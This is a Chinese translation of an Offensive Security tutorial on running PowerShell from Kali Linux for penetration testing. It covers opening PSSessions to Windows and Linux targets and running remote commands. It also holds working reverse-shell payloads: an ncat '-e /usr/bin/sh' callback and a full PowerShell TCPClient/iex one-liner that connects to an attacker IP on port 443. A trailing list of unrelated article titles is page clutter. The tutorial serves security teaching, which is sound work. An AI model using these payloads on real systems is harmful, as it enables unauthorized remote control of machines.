点击上方“蓝字”关注我们吧!

译文声明
本文是翻译文章,文章原作者 TJ Null

文章来源:https://www.offensive-security.com
原文地址:

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

译文仅供参考,具体内容表达以及含义原文为准。

前言

在最近的几年中,PowerShell显然已经成为了一种功能强大的脚本语言,它是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。不仅如此,微软还推出了Powershell Core,可以跨平台使用,支持 LinuxMac

Linux上使用PowerShell可以带来诸多好处,例如:
•可以在PowerShell中编写和调试脚本
•连接到Windows目标靶机
•传输文件

但是目前,PowerShell在Linux平台上功能还不够完善,例如:
•所支持的cmdlet不完善
•不能够在PowerShell中直接使用sudoexec•不支持WMI或CIM

在本文中,我们将展示如何在Kali上建立PSSession到我们的靶机(Windows和Linux)。在Powshell中,PSSessioncmdlet允许我们创建到本地或远程计算机的持久连接。通过PSSession我们可以实现在加密传输内容的同时与目标主机进行交互。(注意:本文中使用的命令已在Windows10x64 Pro,2004版和Ubuntu20.04LTS上进行了测试。)

在WINDOWS上获取PSSESSION

要想与PSSession进行交互,首先在Windows我们需要启用PSremoting并具有访问系统的凭据。当您启用PSRemoting时,它使用默认的HTTP 5985端口进行连接。WS-Management协议会帮助我们加密通过网络传输的所有 Windows PowerShell 内容。在本次测试中,使用默认选项即可。在Kali上首次使用Powshell时,需要安装一个单独的软件包,并且需要更改一些配置才能获取PSSession。我们需要安装gss ntlmssp,并在PowerShell目录中创建两个符号链接,以确保PowerShell中的WSman模块正常工作。默认情况下,我们的PowerShell位于以下路径:

/ opt / Microsoft / powershell / 7

切换到到上面的目录。在该目录中,添加符号链接:

ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto .so.1.0.0

准备工作已经完成,让我们打开kali系统上Powshell终端,键入以下命令来创建一个新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正确的凭据,我们就可以实现在PSSession中与Windows目标进行交互。运行结果如下图所示:

创建PSSession后,我们可以使用Invoke-Command的Session参数在PSSession中运行命令或脚本。我们还可以通过Invoke-Command命令实现与多台主机进行交互。以下是一个演示示例,在多台主机上执行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

通过这种方法,我们就可以在PSSession后台执行命令。ScriptBlock还允许我们同时执行多条命令,只需要使用‘;’将每条命令隔开即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}

命令回显:

如上图所示,我们可以获取系统的主机名,当前域和用户的名称,以及当前用户的安全权限。接下来,让我们看一下如何在Linux上获得PSSession。

在LINUX系统上获取PSSESSION

PSSession不仅局限于Windows,在Linux上运行Powershell同样允许我们在Linux靶机中启动PSSession。我们需要先运行ssh服务,同时修改sshd_config文件:•PasswordAuthentication yes•Optional: PubkeyAuthentication yes
在Ubuntu上键入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

接着我们保存对sshd_config的修改,并且重启ssh服务。这样我们便可以在Linux靶机上获得PSSession:

我们还可以通过“ Invoke-Command” cmdlet在PSSession中运行Bash命令或PowerShell命令。

Tips:在Linux并非支持所有的cmdlet命令。但是随着PowerShell的不断更新与完善,支持cmdlet的指令集也会不断更新。目前我们已经实现在Linux靶机上获取PSSession,下面让我们看一下如何使用Powshell在Linux获取反向shell。

在LINUX上获取反向SHELL

在渗透测试中,PowerShell还可以进行反弹shell的操作。我们可以在靶机上执行二进制文件,传输文件,读写文件。我将在这一小节中,演示如何通过ncat命令获取反弹shell。我们使用一个名为Start-Process的cmdlet可以帮助我们达到目的。下面是一个演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'

我们使用了Start-Process命令运行了ncat,并向kali回调了一个shell。我们只需要在kali上保持监听即可。如下图所示,我们成功的在kali上获取了一个反向shell:

我们还可以使用pwsh后边跟上-Command参数,直接在bash中执行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

运行结果如下图所示,我们同样获取了一个反弹shell:

简化操作

我们甚至还可以借助Powshell本身的功能来进行反弹shell。脚本如下:

$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length))  - ne 0)  {;$data = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback  +  "PS "  +  (pwd).Path  +  "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()

我们可以把脚本集中放置在一行,并将其保存为文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()当靶机执行此脚本时,同样可以达到反弹shell的目的:

我们可以在shell中运行bash或powershell命令:

结论


如今,powshell已经成为了渗透测试中一大利器。本文只是演示了几个简单的示例,Powshell功能远不仅此。从pentester的角度来看,我们使用了PowerShell拓展了我们后渗透测试的手段。防御者也通过Powershell来检测攻击者的行为。后续,我们将继续研究PowerShell在linux更多利用手法。

参考文献

Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)点分享点点赞点在看

kali linux超级用户_如何优雅的在Linux上使用Powershell]相关推荐

  1. kali linux超级用户_Kali Linux操作系统将从本月发布的新版本开始默认不再使用root账户...

    在安全业界非常知名的Kali Linux操作系统目前已经发布版本更新公告,如无意外的话项目组将在本月下旬发布Kali Linux 2020.1版更新.也正是从这个版本开始该操作系统默认将不再使用roo ...

  2. 服务器系统切换用户,linux系统如何切换到root用户_网站服务器运行维护,linux,root...

    windows系统如何强制关机?_网站服务器运行维护 windows系统强制关机的方法:1.Win系统笔记本,找到电源键,长按不放直到屏幕完全变黑,松开手指:2.台式机,找到电源键,用手指长按,直到电 ...

  3. linux超级密码,找回Linux超级用户root密码

    笔者的机器上装有RedhatLinux7.2操作系统,安装了KDE和GNOME桌面,因在安装时只设了超级用户root,但超级用户的权限太大了,只适用于系统维护及安装软件时使用,平常使用应该用普通用户来 ...

  4. Linux超级用户(root)的密码

    最近在使用命令su root,接着输入登录ubutun的密码,发现不能登录,出现了下面的提示: Authentication failure 提示我们身份验证失败,于是我有重试了几次,发现在保证密码正 ...

  5. Linux超级用户权限控制

    在Linux操作系统中,root的权限是最高的,也被称为超级权限的拥有者.普通用户无法执行的操作,root用户都能完成,所以也被称之为超级管理用户. 在系统中,每个文件.目录和进程,都归属于某一个用户 ...

  6. Linux 超级用户的权利

    Linux 系统上的每个文件和进程都属于特定的用户账户. 如果没有得到属主的许可,其他用户就不能访问这些对象,因此,这些约定有助于用户彼此之间不管是有意还是无意的错误行为. 系统文件和进程属于一个称为 ...

  7. mysql 增加超级用户_给MySQL添加超级用户权限

    给MySQL添加超级用户权限. 安装环境:CentOS7 64位,MySQL5.7 1.配置YUM源 在MySQL官网中下载YUM源rpm安装包:https://dev.mysql.com/downl ...

  8. linux超级用户使用,linux窗口下如何使用超级用户?

    韩冬雪 于 2010-08-30 22:53:10发表: 默认的root的账户是不允许在图形界面登录的..但是可以在终端下面登录 linuxlize3130 于 2010-08-30 14:50:44 ...

  9. linux创建用户到指定分区,2016年Linux认证考试试题及答案

    2016年Linux认证考试试题及答案 一.选择题 1.在创建Linux分区时,一定要创建( D )两个分区 A. FAT/NTFS B. FAT/SWAP C. NTFS/SWAP D.SWAP/根 ...

最新文章

  1. SLAM、3D vision求职经历
  2. php设置背景图片的代码,css设置背景图片如何实现?(代码实例)
  3. EF Core 数据变更自动审计设计
  4. JFinal源码解析--从请求到处理返回流程
  5. 图片的压缩(上传图片太大的话,上传不到服务器)
  6. Ivy Bridge处理器
  7. 一般人想象不到的创业者付出的5种努力 创业者的背后
  8. 我在华为工作十年的感悟
  9. 【MM模块】Credit Memos and Reversals 红字发票和冲销
  10. 如果不能产生价值,阅读便毫无意义
  11. 第三十八章 短语动词
  12. SpringBoot整合邮件发送
  13. 收藏-局域网内部邮件系统的搭建
  14. Outlook.com高级版优惠价截止日顺延到6月30日
  15. 多通道半桥驱动器 NSD8308
  16. 西门子、施耐德、三菱、RA:全球主要工控协议及端口解析
  17. 移动端实现左右菜单联动效果(vue+better-scroll)
  18. Linux惊群效应之Nginx解决方案
  19. lisp倒入excel数据画图_如何将EXCEL中的数据导入到CAD中,绘制成曲线|
  20. MFC 窗口分割与通信

热门文章

  1. 数据库:后端开发必备的 MySQL日志文件知识点
  2. 注入双括号报错注入_SQL手动注入:sqlilabs(less110)
  3. 光华科技光刻胶_【收藏】6天5板!21只光刻胶概念(名单)“出炉”!
  4. python getcwd 转义,Python os.getcwd() 方法
  5. 前端抢饭碗系列之Vue项目如何做单元测试
  6. Scott 32 岁前端年终总结,探寻另一种可能
  7. Java Observer Pattern(观察者模式)
  8. hdu 5310 Souvenir
  9. OC开发_Storyboard——MapKit
  10. 监控cacti中的RRDtool用法详解